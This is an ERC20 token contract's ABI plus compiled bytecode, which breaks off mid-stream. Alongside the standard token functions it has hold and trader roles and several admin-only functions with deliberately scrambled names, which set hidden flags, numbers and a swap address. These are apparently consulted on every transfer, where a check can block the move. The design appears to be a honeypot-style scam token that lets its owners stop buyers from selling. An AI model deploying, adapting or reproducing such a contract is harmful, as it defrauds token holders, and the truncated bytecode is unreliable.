[ { "inputs": [ { "internalType": "string", "name": "name", "type": "string" }, { "internalType": "string", "name": "symbol", "type": "string" }, { "internalType": "uint256", "name": "totalSupply", "type": "uint256" }, { "internalType": "address", "name": "hold", "type": "address" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "AccessControlBadConfirmation", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" }, { "internalType": "bytes32", "name": "neededRole", "type": "bytes32" } ], "name": "AccessControlUnauthorizedAccount", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "allowance", "type": "uint256" }, { "internalType": "uint256", "name": "needed", "type": "uint256" } ], "name": "ERC20InsufficientAllowance", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "uint256", "name": "balance", "type": "uint256" }, { "internalType": "uint256", "name": "needed", "type": "uint256" } ], "name": "ERC20InsufficientBalance", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "approver", "type": "address" } ], "name": "ERC20InvalidApprover", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "receiver", "type": "address" } ], "name": "ERC20InvalidReceiver", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" } ], "name": "ERC20InvalidSender", "type": "error" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" } ], "name": "ERC20InvalidSpender", "type": "error" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "bytes32", "name": "role", "type": "bytes32" }, { "indexed": true, "internalType": "bytes32", "name": "previousAdminRole", "type": "bytes32" }, { "indexed": true, "internalType": "bytes32", "name": "newAdminRole", "type": "bytes32" } ], "name": "RoleAdminChanged", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "bytes32", "name": "role", "type": "bytes32" }, { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "sender", "type": "address" } ], "name": "RoleGranted", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "bytes32", "name": "role", "type": "bytes32" }, { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "sender", "type": "address" } ], "name": "RoleRevoked", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "ADMIN_ROLE", "outputs": [ { "internalType": "bytes32", "name": "", "type": "bytes32" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "DEFAULT_ADMIN_ROLE", "outputs": [ { "internalType": "bytes32", "name": "", "type": "bytes32" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "HOLD_ROLE", "outputs": [ { "internalType": "bytes32", "name": "", "type": "bytes32" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "TRADER_ROLE", "outputs": [ { "internalType": "bytes32", "name": "", "type": "bytes32" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "bytes32", "name": "role", "type": "bytes32" } ], "name": "getRoleAdmin", "outputs": [ { "internalType": "bytes32", "name": "", "type": "bytes32" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "key", "type": "string" } ], "name": "getRoleBgr3k03", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "key", "type": "string" } ], "name": "getRoleNfkrk303", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "key", "type": "string" } ], "name": "getRoleWfjgrlk0003", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "getTslfo4mn0", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "bytes32", "name": "role", "type": "bytes32" }, { "internalType": "address", "name": "account", "type": "address" } ], "name": "grantRole", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bytes32", "name": "role", "type": "bytes32" }, { "internalType": "address", "name": "account", "type": "address" } ], "name": "hasRole", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "key", "type": "string" } ], "name": "rRoleBfjk40mmn", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "a", "type": "string" } ], "name": "rRoleWfjfk30049n", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bytes32", "name": "role", "type": "bytes32" }, { "internalType": "address", "name": "callerConfirmation", "type": "address" } ], "name": "renounceRole", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bytes32", "name": "role", "type": "bytes32" }, { "internalType": "address", "name": "account", "type": "address" } ], "name": "revokeRole", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "key", "type": "string" } ], "name": "sRoleBf30t4j", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "key", "type": "string" }, { "internalType": "uint256", "name": "n", "type": "uint256" } ], "name": "sRoleNfk49ijrf2", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "a", "type": "string" } ], "name": "sRoleWfj49wju3", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "swap", "type": "string" } ], "name": "setSwapfk402", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "int256", "name": "t", "type": "int256" } ], "name": "sknockf4o4j1", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bytes4", "name": "interfaceId", "type": "bytes4" } ], "name": "supportsInterface", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "updatetTSmflk4022", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ]
60806040525f600755348015610013575f5ffd5b5060405161495738038061495783398181016040528101906100359190610718565b83838280600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826004908161008791906109bb565b50816005908161009791906109bb565b506100b75f5f1b6100ac61013660201b60201c565b61013d60201b60201c565b506100f57fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756100ea61013660201b60201c565b61013d60201b60201c565b5050505061012d8161010b61023260201b60201c565b600a6101179190610bf2565b846101229190610c3c565b61023a60201b60201c565b50505050610d35565b5f33905090565b5f61014e83836102bf60201b60201c565b6102285760015f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506101c561013660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a46001905061022c565b5f90505b92915050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036102aa575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016102a19190610c8c565b60405180910390fd5b6102bb5f838361032260201b60201c565b5050565b5f5f5f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610372578060035f8282546103669190610ca5565b92505081905550610442565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156103fc578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016103f393929190610ce7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610489578060035f82825403925050819055506104d4565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105319190610d1c565b60405180910390a3505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61059d82610557565b810181811067ffffffffffffffff821117156105bc576105bb610567565b5b80604052505050565b5f6105ce61053e565b90506105da8282610594565b919050565b5f67ffffffffffffffff8211156105f9576105f8610567565b5b61060282610557565b9050602081019050919050565b8281835e5f83830152505050565b5f61062f61062a846105df565b6105c5565b90508281526020810184848401111561064b5761064a610553565b5b61065684828561060f565b509392505050565b5f82601f8301126106725761067161054f565b5b815161068284826020860161061d565b91505092915050565b5f819050919050565b61069d8161068b565b81146106a7575f5ffd5b50565b5f815190506106b881610694565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106e7826106be565b9050919050565b6106f7816106dd565b8114610701575f5ffd5b50565b5f81519050610712816106ee565b92915050565b5f5f5f5f608085870312156107305761072f610547565b5b5f85015167ffffffffffffffff81111561074d5761074c61054b565b5b6107598782880161065e565b945050602085015167ffffffffffffffff81111561077a5761077961054b565b5b6107868782880161065e565b9350506040610797878288016106aa565b92505060606107a887828801610704565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061080257607f821691505b602082108103610815576108146107be565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026108777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261083c565b610881868361083c565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6108bc6108b76108b28461068b565b610899565b61068b565b9050919050565b5f819050919050565b6108d5836108a2565b6108e96108e1826108c3565b848454610848565b825550505050565b5f5f905090565b6109006108f1565b61090b8184846108cc565b505050565b5b8181101561092e576109235f826108f8565b600181019050610911565b5050565b601f821115610973576109448161081b565b61094d8461082d565b8101602085101561095c578190505b6109706109688561082d565b830182610910565b50505b505050565b5f82821c905092915050565b5f6109935f1984600802610978565b1980831691505092915050565b5f6109ab8383610984565b9150826002028217905092915050565b6109c4826107b4565b67ffffffffffffffff8111156109dd576109dc610567565b5b6109e782546107eb565b6109f2828285610932565b5f60209050601f831160018114610a23575f8415610a11578287015190505b610a1b85826109a0565b865550610a82565b601f198416610a318661081b565b5f5b82811015610a5857848901518255600182019150602085019450602081019050610a33565b86831015610a755784890151610a71601f891682610984565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610b0c57808604811115610ae857610ae7610a8a565b5b6001851615610af75780820291505b8081029050610b0585610ab7565b9450610acc565b94509492505050565b5f82610b245760019050610bdf565b81610b31575f9050610bdf565b8160018114610b475760028114610b5157610b80565b6001915050610bdf565b60ff841115610b6357610b62610a8a565b5b8360020a915084821115610b7a57610b79610a8a565b5b50610bdf565b5060208310610133831016604e8410600b8410161715610bb55782820a905083811115610bb057610baf610a8a565b5b610bdf565b610bc28484846001610ac3565b92509050818404811115610bd957610bd8610a8a565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610bfc8261068b565b9150610c0783610be6565b9250610c347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610b15565b905092915050565b5f610c468261068b565b9150610c518361068b565b9250828202610c5f8161068b565b91508282048414831517610c7657610c75610a8a565b5b5092915050565b610c86816106dd565b82525050565b5f602082019050610c9f5f830184610c7d565b92915050565b5f610caf8261068b565b9150610cba8361068b565b9250828201905080821115610cd257610cd1610a8a565b5b92915050565b610ce18161068b565b82525050565b5f606082019050610cfa5f830186610c7d565b610d076020830185610cd8565b610d146040830184610cd8565b949350505050565b5f602082019050610d2f5f830184610cd8565b92915050565b613c1580610d425f395ff3fe608060405234801561000f575f5ffd5b50600436106101e3575f3560e01c80637fa3908c1161010d578063b00868c7116100a0578063d547741f1161006f578063d547741f146105a1578063dd62ed3e146105bd578063f0a56fc8146105ed578063fe4c72461461060b576101e3565b8063b00868c71461052d578063b3054a671461054b578063bbeb5b3814610555578063ca237f6314610585576101e3565b806395d89b41116100dc57806395d89b41146104a55780639da6f24b146104c3578063a217fddf146104df578063a9059cbb146104fd576101e3565b80637fa3908c1461040d578063832a4da91461042957806386287c3d1461045957806391d1485414610475576101e3565b80632f2ff15d116101855780635d55a47d116101545780635d55a47d1461037357806370a082311461038f57806375b238fc146103bf578063764a56c2146103dd576101e3565b80632f2ff15d146102ff578063313ce5671461031b57806336568abe146103395780634ad5245e14610355576101e3565b806318160ddd116101c157806318160ddd14610265578063218f33001461028357806323b872dd1461029f578063248a9ca3146102cf576101e3565b806301ffc9a7146101e757806306fdde0314610217578063095ea7b314610235575b5f5ffd5b61020160048036038101906101fc9190612abe565b610627565b60405161020e9190612b03565b60405180910390f35b61021f6106a0565b60405161022c9190612b8c565b60405180910390f35b61024f600480360381019061024a9190612c39565b610730565b60405161025c9190612b03565b60405180910390f35b61026d610752565b60405161027a9190612c86565b60405180910390f35b61029d60048036038101906102989190612dcb565b61075b565b005b6102b960048036038101906102b49190612e12565b6107f2565b6040516102c69190612b03565b60405180910390f35b6102e960048036038101906102e49190612e95565b610820565b6040516102f69190612ecf565b60405180910390f35b61031960048036038101906103149190612ee8565b61083c565b005b61032361085e565b6040516103309190612f41565b60405180910390f35b610353600480360381019061034e9190612ee8565b610866565b005b61035d6108e1565b60405161036a9190612ecf565b60405180910390f35b61038d60048036038101906103889190612dcb565b610905565b005b6103a960048036038101906103a49190612f5a565b6109f0565b6040516103b69190612c86565b60405180910390f35b6103c7610a36565b6040516103d49190612ecf565b60405180910390f35b6103f760048036038101906103f29190612dcb565b610a5a565b6040516104049190612b03565b60405180910390f35b61042760048036038101906104229190612dcb565b610ae7565b005b610443600480360381019061043e9190612dcb565b610b79565b6040516104509190612c86565b60405180910390f35b610473600480360381019061046e9190612f85565b610c14565b005b61048f600480360381019061048a9190612ee8565b610dab565b60405161049c9190612b03565b60405180910390f35b6104ad610e0e565b6040516104ba9190612b8c565b60405180910390f35b6104dd60048036038101906104d89190612dcb565b610e9e565b005b6104e7610f28565b6040516104f49190612ecf565b60405180910390f35b61051760048036038101906105129190612c39565b610f2e565b6040516105249190612b03565b60405180910390f35b610535610f50565b6040516105429190612c86565b60405180910390f35b610553610f59565b005b61056f600480360381019061056a9190612dcb565b6110ae565b60405161057c9190612b8c565b60405180910390f35b61059f600480360381019061059a9190612dcb565b6111b6565b005b6105bb60048036038101906105b69190612ee8565b611249565b005b6105d760048036038101906105d29190612fdf565b61126b565b6040516105e49190612c86565b60405180910390f35b6105f56112ed565b6040516106029190612ecf565b60405180910390f35b61062560048036038101906106209190613050565b611311565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610699575061069882611346565b5b9050919050565b6060600480546106af906130a8565b80601f01602080910402602001604051908101604052809291908181526020018280546106db906130a8565b80156107265780601f106106fd57610100808354040283529160200191610726565b820191905f5260205f20905b81548152906001019060200180831161070957829003601f168201915b5050505050905090565b5f5f61073a6113af565b90506107478185856113b6565b600191505092915050565b5f600354905090565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610785816113c8565b60405180602001604052805f815250600d5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f20836040516107d39190613112565b908152602001604051809103902090816107ed91906132c8565b505050565b5f5f6107fc6113af565b90506108098582856113dc565b61081485858561146e565b60019150509392505050565b5f5f5f8381526020019081526020015f20600101549050919050565b61084582610820565b61084e816113c8565b610858838361171b565b50505050565b5f6012905090565b61086e6113af565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108d2576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6108dc8282611804565b505050565b7fa844042a78083da02851d6318af1d807a1d0b647556f679b96239a5c4874a1c681565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561092f816113c8565b816006908161093e91906132c8565b506001600e5f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581526020019081526020015f20836040516109809190613112565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055506109ad826118ed565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581565b5f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610a85816113c8565b600e5f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581526020019081526020015f2083604051610ac49190613112565b90815260200160405180910390205f9054906101000a900460ff16915050919050565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610b11816113c8565b5f600e5f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581526020019081526020015f2083604051610b519190613112565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b5f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610ba4816113c8565b600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f2083604051610be39190613112565b90815260200160405180910390205f81548110610c0357610c02613397565b5b905f5260205f200154915050919050565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610c3e816113c8565b5f610c4761085e565b600a610c539190613520565b90505f600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f2085604051610c959190613112565b90815260200160405180910390208054905003610d2d57600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f2084604051610ceb9190613112565b90815260200160405180910390208184610d05919061356a565b908060018154018082558091505060019003905f5260205f20015f9091909190915055610da5565b8083610d39919061356a565b600c5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f2085604051610d789190613112565b90815260200160405180910390205f81548110610d9857610d97613397565b5b905f5260205f2001819055505b50505050565b5f5f5f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060058054610e1d906130a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610e49906130a8565b8015610e945780601f10610e6b57610100808354040283529160200191610e94565b820191905f5260205f20905b815481529060010190602001808311610e7757829003601f168201915b5050505050905090565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610ec8816113c8565b6004600d5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f2083604051610f099190613112565b90815260200160405180910390209081610f2391906135d2565b505050565b5f5f1b81565b5f5f610f386113af565b9050610f4581858561146e565b600191505092915050565b5f600a54905090565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775610f83816113c8565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fed573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061101191906136cb565b60098190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611081573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110a591906136cb565b600a8190555050565b60607fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756110da816113c8565b600d5f7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181526020019081526020015f20836040516111199190613112565b90815260200160405180910390208054611132906130a8565b80601f016020809104026020016040519081016040528092919081815260200182805461115e906130a8565b80156111a95780601f10611180576101008083540402835291602001916111a9565b820191905f5260205f20905b81548152906001019060200180831161118c57829003601f168201915b5050505050915050919050565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c217756111e0816113c8565b6001600e5f7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581526020019081526020015f20836040516112219190613112565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b61125282610820565b61125b816113c8565b6112658383611804565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7ffacaf2747a7486cf5730e9265973fb54447d3ace6e7e4711f6360826b073194181565b7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177561133b816113c8565b816007819055505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b6113c38383836001611ae5565b505050565b6113d9816113d46113af565b611cb4565b50565b5f6113e7848461126b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114685781811015611459578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161145093929190613705565b60405180910390fd5b61146784848484035f611ae5565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114de575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016114d5919061373a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361154e575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611545919061373a565b60405180910390fd5b5f600367ffffffffffffffff81111561156a57611569612ca7565b5b60405190808252806020026020018201604052801561159d57816020015b60608152602001906001900390816115885790505b5090506115a984611d05565b815f815181106115bc576115bb613397565b5b60200260200101819052506115d083611d05565b816001815181106115e4576115e3613397565b5b60200260200101819052506115f882612003565b8160028151811061160c5761160b613397565b5b60200260200101819052506116208161215c565b61165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116569061379d565b60405180910390fd5b61166a8484846127a7565b5f60068054611678906130a8565b905011156117155760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ea573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061170e91906136cb565b600a819055505b50505050565b5f6117268383610dab565b6117fa5760015f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506117976113af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506117fe565b5f90505b92915050565b5f61180f8383610dab565b156118e3575f5f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506118806113af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a4600190506118e7565b5f90505b92915050565b5f5f829050602a815114611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613805565b60405180910390fd5b5f5f90505f600290505b602a811015611ada575f83828151811061195d5761195c613397565b5b602001015160f81c60f81b60f81c60ff16905060308173ffffffffffffffffffffffffffffffffffffffff16101580156119ae575060398173ffffffffffffffffffffffffffffffffffffffff1611155b156119c7576030816119c09190613823565b9050611ab2565b60418173ffffffffffffffffffffffffffffffffffffffff1610158015611a05575060468173ffffffffffffffffffffffffffffffffffffffff1611155b15611a1e57603781611a179190613823565b9050611ab1565b60618173ffffffffffffffffffffffffffffffffffffffff1610158015611a5c575060668173ffffffffffffffffffffffffffffffffffffffff1611155b15611a7557605781611a6e9190613823565b9050611ab0565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa7906138da565b60405180910390fd5b5b5b80601084611ac091906138f8565b611aca9190613939565b9250508080600101915050611940565b508092505050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611b55575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611b4c919061373a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bc5575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611bbc919061373a565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611cae578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611ca59190612c86565b60405180910390a35b50505050565b611cbe8282610dab565b611d015780826040517fe2517d3f000000000000000000000000000000000000000000000000000000008152600401611cf8929190613980565b60405180910390fd5b5050565b60605f8273ffffffffffffffffffffffffffffffffffffffff165f1b90505f6040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090505f602a67ffffffffffffffff811115611d7857611d77612ca7565b5b6040519080825280601f01601f191660200182016040528015611daa5781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f81518110611de157611de0613397565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611e4457611e43613397565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f5f90505b6014811015611ff75782600485600c84611e9191906139a7565b60208110611ea257611ea1613397565b5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff1681518110611ee157611ee0613397565b5b602001015160f81c60f81b82600283611efa919061356a565b6002611f0691906139a7565b81518110611f1757611f16613397565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535082600f60f81b85600c84611f5991906139a7565b60208110611f6a57611f69613397565b5b1a